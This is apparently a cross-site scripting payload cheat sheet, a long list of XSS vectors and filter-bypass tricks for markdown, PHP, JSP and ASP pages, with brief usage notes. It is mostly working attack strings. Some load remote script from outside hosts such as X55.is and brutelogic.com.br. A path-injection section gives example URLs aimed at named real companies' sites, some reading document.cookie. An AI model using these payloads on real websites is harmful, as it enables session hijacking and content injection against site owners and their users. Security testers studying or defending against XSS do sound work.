### <mark style="color:orange;">Use in text boxes, comment sections, etc</mark> that allows some markup input. <mark style="color:red;">Click to fire.</mark>

```none
--------------------------------------------------------------------
[clickme](javascript:alert`1`)
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">CommonMark Vectors</mark>

### <mark style="color:orange;">Use in text boxes, comment sections, etc</mark> that allows some markup (CommonMark-like) input. <mark style="color:red;">Click to fire.</mark>

```none
--------------------------------------------------------------------
[click]
[click]:javascript:alert(1)

[click][x]
[x]:javascript:alert(1)

Autolink
<javascript:alert(1)>
<javascript://%0Aalert(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Onscroll Universal Vector</mark>

### <mark style="color:orange;">That vector fires without user interaction using the onscroll event handler.</mark> It works with address, blockquote, body, center, dir, div, dl, dt, form, li, menu, ol, p, pre, ul, and h1 to h6 HTML tags.

```none
--------------------------------------------------------------------
<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Type Juggling</mark>

### <mark style="color:orange;">Use to pass an “if” condition matching a number in loose comparisons.</mark>

```none
--------------------------------------------------------------------
1<svg onload=alert(1)>
1"><svg onload=alert(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">SQLi Error-Based Vector</mark>

### <mark style="color:yellow;">Use in endpoints where a SQL error message can be triggered (with a quote or backslash).</mark>

```none
--------------------------------------------------------------------
'1<svg onload=alert(1)>
<svg onload=alert(1)>\
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">PATH</mark> <mark style="color:yellow;">Based -</mark> XSS Injection

* first Realize what URL or Path value is Reflected in the Source Code
* Then, type Simple input like <mark style="color:yellow;">asad</mark> after <mark style="color:yellow;">`Path-Value`</mark>and realize that input was reflected on the page or source code or inspect Dom
* if reflected then put <mark style="color:yellow;">`Path-Value">asad`</mark> and check if it escapes the area where it is reflected

```none
Example:
--------------------------------------------------------------------
http://premierbuild.com/uC0VzJYd"><img src=a onerror=alert(document.domain)>/..CFIDE/administrator/index.cfm
https://m.atlas.kfc.co.uk:8443/MicroStrategyLibrary/style/vge01'-alert(document.domain)-'vephk/favicon.ico
https://app-webtech-web.plutopreprod.tv/stream-br/category/5"><svg onload=alert(document.cookie)>"f862733747338000786e085/view-all
https://www.allianz.es/xx<a href="javascript:prompt(document%2edomain)">aaaa.childrenlist.html
https://www.allianz.es/seguros/especialidades/{payload}.childrenlist.html
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">PHP\_SELF</mark> HTML <mark style="color:yellow;">Injection</mark>

### <mark style="color:orange;">Use when the current URL is used by PHP code as an “action” attribute of an HTML form.</mark> Inject between php filename and the start of URL query (?) using a leading slash (/)

```none
--------------------------------------------------------------------
https://brutelogic.com.br/gym.php/"><svg onload=alert(1)>?p05=FTW>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## **URL Reflection** <mark style="color:yellow;">HTML Injection in PHP</mark>

### <mark style="color:orange;">When the URL is reflected somehow in the source code, we can add our own XSS vector/payload to it. For PHP pages it’s possible to add anything in the URL after the page name (without changing it) with the use of a slash character (/).</mark>

### <mark style="color:red;">try Endpoint</mark>:   <mark style="color:yellow;">.php/</mark>">\<svg onload=alert(1)>&#x20;

### <mark style="color:red;">try Endpoint</mark>:   <mark style="color:yellow;">.htm/</mark>">\<svg onload=alert(1)>&#x20;

<mark style="color:yellow;">**The leading tag breaking (“>) is needed to break out of the current tag and make possible the insertion of a new one.**</mark>

<figure><img src="https://3762688370-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiPHFhysABn70RkX2phf9%2Fuploads%2FU7kNAMZwbYUB3nca0UtL%2Furl-reflection.png?alt=media&#x26;token=c0cd06b7-b67b-42ed-85a2-b9eb5bd76af3" alt=""><figcaption></figcaption></figure>

```none
http://pizzahut.com/fborder.php/"><svg onload=alert(document.domain)>
--------------------------------------------------------------------
"><svg onload=alert(document.domain)>
"><img src=x onerror=alert(document.domain)>
//DOMAIN/PATH/..;"><svg onload=alert(1)>
//DOMAIN/PATH/..;/"><svg onload=alert(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">HTML Injection in</mark> <mark style="color:green;">JSP Path</mark>

## <mark style="color:red;">try Endpoint</mark>:   <mark style="color:yellow;">.jsp/</mark>">\<svg onload=alert(1)>

## <mark style="color:red;">try Endpoint</mark>:   <mark style="color:yellow;">.do/</mark>">\<svg onload=alert(1)>&#x20;

## <mark style="color:red;">try Endpoint</mark>:   <mark style="color:yellow;">.htm/</mark>">\<svg onload=alert(1)>&#x20;

### <mark style="color:orange;">Use in JSP-based applications in the path of URL.</mark>

<pre class="language-none"><code class="lang-none">https://example.com/carbon/admin/login.jsp?msgId=';alert(1)//
<strong>--------------------------------------------------------------------
</strong>//DOMAIN/PATH/;">&#x3C;Scri%7Kt>%7Krompt%6K1%6K&#x3C;/Scri%7Kt>
//DOMAIN/PATH/;">&#x3C;svg onload=alert(1)>
//DOMAIN/PATH/..;">&#x3C;svg onload=alert(1)>
//DOMAIN/PATH/..;/">&#x3C;svg onload=alert(1)>
--------------------------------------------------------------------
</code></pre>

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Vectors Exclusive for</mark> <mark style="color:green;">ASP Pages</mark>&#x20;

## <mark style="color:red;">try Endpoint</mark>:   <mark style="color:yellow;">.asp/</mark>">\<svg onload=alert(1)>&#x20;

## <mark style="color:red;">try Endpoint</mark>:   <mark style="color:yellow;">.htm/</mark>">\<svg onload=alert(1)>

### <mark style="color:orange;">Use to bypass <\[alpha] filtering in .asp pages.</mark>

### <mark style="color:orange;">XSS in ASP pages reflected inside span and < blocked</mark>

```none
--------------------------------------------------------------------
%u003Csvg onload=alert(1)>
%u3008svg onload=alert(2)>
%uFF1Csvg onload=alert(3)>
</script><script>alert(1)</script> 
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Vectors Exclusive for</mark> <mark style="color:green;">ASP Page - Percentage Padding</mark>

### Use to bypass <\[alpha] and keyword filtering in .asp pages.

```none
--------------------------------------------------------------------
<%S%v%g%%20%O%n%L%o%a%d%=%a%l%e%r%t%%28%1%%29%>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Body Vectors</mark>

### <mark style="color:orange;">A collection of body vectors.</mark>

```none
--------------------------------------------------------------------
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><meta content=URL;%23 http-equiv=refresh>
<body onscroll=alert(1) style=overflow:auto;height:1000px id=x>#x
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Weird XSS vectors</mark>

### <mark style="color:orange;">Just some odd/weird vectors that I don’t see mentioned often.</mark>

```none
--------------------------------------------------------------------
<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Less Known XSS Vectors</mark>

### <mark style="color:orange;">A collection of less-known XSS vectors.</mark>

```none
--------------------------------------------------------------------
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<video ontimeupdate=alert(1) controls src=//brutelogic.com.br/x.mp4>
<input autofocus onblur=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<object onerror=alert(1)>

(Firefox only)
<marquee onstart=alert(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Mixed Case Bypass</mark>

### <mark style="color:orange;">Use to bypass case-sensitive filters.</mark>

```none
--------------------------------------------------------------------
<Svg OnLoad=alert(1)>
<Script>alert(1)</Script>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Unclosed Tags</mark>

### <mark style="color:orange;">Use to avoid filtering based on the presence of both lower than (<) and greater than (>) signs.</mark> It requires a native greater than sign in source code after input reflection.

```none
--------------------------------------------------------------------
<svg onload=alert(1)//
<svg onload="alert(1)"
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Uppercase Vector</mark>

### <mark style="color:orange;">Use when the application reflects input in uppercase.</mark> Replace “&” with “%26” and “#” with “%23” in URLs.

```none
--------------------------------------------------------------------
<SVG ONLOAD=&#97&#108&#101&#114&#116(1)>
<SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>
<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Extra Content for Script Tags</mark>

### <mark style="color:orange;">Use when the filter looks for “\<script>” or “\<script src=...” with some variations but without checking for other non-required attributes.</mark>

```none
--------------------------------------------------------------------
<script/k>alert(1)</script>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Fake Tags</mark>

### <mark style="color:orange;">Just some HTML vectors to try to fool filters.</mark>

```none
--------------------------------------------------------------------
<img onerror=alert(1) </src>
<input onfocus=alert(1) </autofocus>
<details ontoggle=alert(1) </open>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Fake Twin Tags</mark>

### <mark style="color:orange;">Some HTML vectors try to fool filters using the same attribute for the real and the fake tag.</mark>

```none
--------------------------------------------------------------------
<base <a href=//X55.is>
<base </a href=//X55.is>
<svg><script <a href=//X55.is></script>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Alert without Parentheses</mark> – <mark style="color:green;">HTML Entities</mark>

### <mark style="color:orange;">Use only in HTML injections when parentheses are not allowed.</mark> Replace “&” with “%26” and “#” with “%23” in URLs.

```none
--------------------------------------------------------------------
<svg onload=alert&lpar;1&rpar;>
<svg onload=alert&#40;1&#41>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">PHP Email Validation Bypass</mark>

### <mark style="color:orange;">Use to bypass the FILTER\_VALIDATE\_EMAIL flag of PHP’s filter\_var() function.</mark>

```none
--------------------------------------------------------------------
"><svg/onload=alert(1)>"@x.y
"><svg/onload=confirm(1)>"@x.y
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Second-order HTML Injection</mark>

### <mark style="color:orange;">Use when your input will be used twice like stored normalized in a database and then retrieved for later use or inserted into DOM.</mark>

```none
--------------------------------------------------------------------
&lt;svg/onload&equals;alert(1)&gt;
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Other</mark> <mark style="color:yellow;">SVG Vectors with Event Handlers</mark>

### <mark style="color:orange;">Use against blacklists.</mark>

```none
--------------------------------------------------------------------
<svg><set onbegin=alert(1)>
<svg><set end=1 onend=alert(1)>
<svg><animate onbegin=alert(1)>
<svg><animate end=1 onend=alert(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Vectors without Event Handlers</mark>

### <mark style="color:orange;">Use as an alternative to event handlers, if they are not allowed.</mark> Some require user interaction as stated in the vector itself (also part of them).

```none
--------------------------------------------------------------------
<script>alert(1)</script>
<script src=data:,alert(1)></script>
<svg><script href=data:,alert(1)></script>
<iframe src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=//x55.is/w.gif>

(Firefox only):

<embed src=javascript:alert(1)>
<object data=javascript:alert(1)>
<svg><script href=data:,alert(1) />
<svg><script xlink:href=data:,alert(1) />
<math><brute href=javascript:alert(1)>click
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Vectors with Agnostic Event Handlers ></mark> <mark style="color:red;">Bypass Filter HTML Tag</mark>

### <mark style="color:orange;">Use the following vectors when all known HTML tag names are not allowed.</mark> Any alphabetic char or string can be used as a tag name in place of “k”. They require user interaction as stated by their very text content (which makes part of the vectors too) except the last ones.

```none
--------------------------------------------------------------------
<k contenteditable onblur=alert(1)>lose focus!    Left Click & tab key 
<k onclick=alert(1)>click this!                   
<k oncopy=alert(1)>copy this!                     Select text then ctrl+c
<k oncontextmenu=alert(1)>right click this!
<k onauxclick=alert(1)>right click this!
<k oncut=alert(1)>copy this!                      Select text then ctrl+x
<k ondblclick=alert(1)>double click this!
<k ondrag=alert(1)>drag this!
<k contenteditable oninput=alert(1)>input here!
<k contenteditable onkeydown=alert(1)>press any key!
<k contenteditable onkeypress=alert(1)>press any key!
<k contenteditable onkeyup=alert(1)>press any key!
<k onmousedown=alert(1)>click this!
<k onmouseenter=alert(1)>hover this
<k onmousemove=alert(1)>hover this!
<k onmouseout=alert(1)>hover this!
<k onmouseover=alert(1)>hover this!
<k onmouseup=alert(1)>click this!
<k contenteditable onpaste=alert(1)>paste here!    Select text then ctrl+v
<k onpointercancel=alert(1)>hover this!
<k onpointerdown=alert(1)>hover this!
<k onpointerenter=alert(1)>hover this!
<k onpointerleave=alert(1)>hover this!
<k onpointermove=alert(1)>hover this!
<k onpointerout=alert(1)>hover this!
<k onpointerover=alert(1)>hover this!
<k onpointerup=alert(1)>hover this!
<k onpointerrawupdate=alert(1)>hover this!

(Chrome only):
<k autofocus contenteditable onfocus=alert(1)>focus this!

(Firefox only):
<k onafterscriptexecute=alert(1)>
<k onbeforescriptexecute=alert(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Vector Without Alert - Eval + URL</mark>

### <mark style="color:orange;">Use as an alternative to call alert, prompt, and confirm.</mark> The first payload is the primitive form while the second replaces eval with the value of the id attribute of the vector used. URL must be in one of the following ways, in the URL path after the PHP extension or in a fragment of the URL, except in the last vector (it already has its payload). Plus sign (+) must be encoded in URLs.

```none
--------------------------------------------------------------------
<svg onload=eval(" ' "+URL)>
<svg id=eval onload=top[id](" ' "+URL)>

The above PoC URL must contain one of the following:

=> file.php/'/alert(1)//?...
=> #'/alert(1)

${alert(1)}<svg onload=eval('`//'+URL)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Vector without Parentheses, Backticks or Entities</mark>

### <mark style="color:orange;">Use as alternative to alert(1), alert</mark><mark style="color:orange;">`1`</mark> <mark style="color:orange;"></mark><mark style="color:orange;">or HTML Entities versions of those.</mark>

```none
--------------------------------------------------------------------
<svg onload=innerHTML='\74img\11src\11onerror\75alert\501\51\76'>
<svg onload=outerHTML='\74img\11src\11onerror\75alert\501\51\76'>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">SVG Vectors without Event Handlers</mark>

### <mark style="color:orange;">Use to avoid filters looking for event handlers or src, data, etc.</mark> The last one is Firefox only, already URL encoded.

```none
--------------------------------------------------------------------
<svg><a><rect width=99% height=99% /><set attributeName=href to=javascript:alert(1)>
<svg><a><rect width=99% height=99% /><animate attributeName=href values=javascript:alert(1)>
<svg><a><rect width=99% height=99% /><animate attributeName=href to=0 from=javascript:alert(1)>

(Firefox only):
<svg><use xlink:href=data:image/svg%2Bxml;base64,PHN2ZyBpZD0ieCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI%2BPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4=%23x>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Using Attributes to Store Strings</mark>

### <mark style="color:orange;">The following vectors make use of the mandatory attribute to store the address of the import() function. Since it returns a valid image, “onload” is used instead of “onerror” in the 2nd vector below.</mark>

```none
--------------------------------------------------------------------
<svg id=//X55.is onload=import(id)>
<img src=//X55.is onload=import(src)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Agnostic Event Handlers Vectors – CSS3 Based</mark>

### <mark style="color:orange;">Vectors with event handlers that can be used with arbitrary tag names useful to bypass blacklists.</mark>&#x20;

```none
They require CSS in the form of <style> or importing
stylesheet with <link>. Any alphabetic char or string can be used as a tag name
in place of “k” except when using when using the following stylesheet:
<link rel=stylesheet href=//X55.is/k>
--------------------------------------------------------------------
<k onanimationend=alert(1)><style>*{animation:s}@keyframes s{}
<k onanimationstart=alert(1)><style>x{animation:s}@keyframes s{}
<k onwebkitanimationend=alert(1)><style>*{animation:s}@keyframes s{}
<k onwebkitanimationstart=alert(1)><style>*{animation:s}@keyframes s{}
<k ontransitionend=alert(1)><style>*{transition:color 1s}*:hover{color:red}

(Firefox only):
<k ontransitionrun=alert(1)><style>*{transition:color 1s}*:hover{color:red}
<k ontransitionstart=alert(1)><style>*{transition:color 1s}*:hover{color:red}
<k ontransitioncancel=alert(1)><style>*{transition:color 1s}*:hover{color:red}
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Vectors for Fixed Input Length</mark>

### <mark style="color:orange;">Use when input must have a fixed length like in most common following hashes.</mark>

```none
--------------------------------------------------------------------
MD5
12345678901<svg/onload=alert(1)>

SHA1
1234567890123456789<svg/onload=alert(1)>

SHA256
1234567890123456789012345678901234567890123<svg/onload=alert(1)>
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Inner & Outer HTML Properties Alternative</mark>

### <mark style="color:orange;">These last vectors make use of innerHTML and outerHTML properties of elements to get the same result as the location ones. But they require to creation of a complete HTML vector instead of a “javascript:alert(1)” string. The following collections of elements can be used here with index 0 to make it easier to follow: all\[0], anchors\[0], embeds\[0], forms\[0], images\[0], links\[0], and scripts\[0]. They all can replace the head or body elements used below.</mark>

```none
<svg id=<img/src/onerror&#61alert(1)&gt; onload=head.innerHTML=id>
<svg id=<img/src/onerror&#61alert(1)&gt; onload=body.outerHTML=id>
```
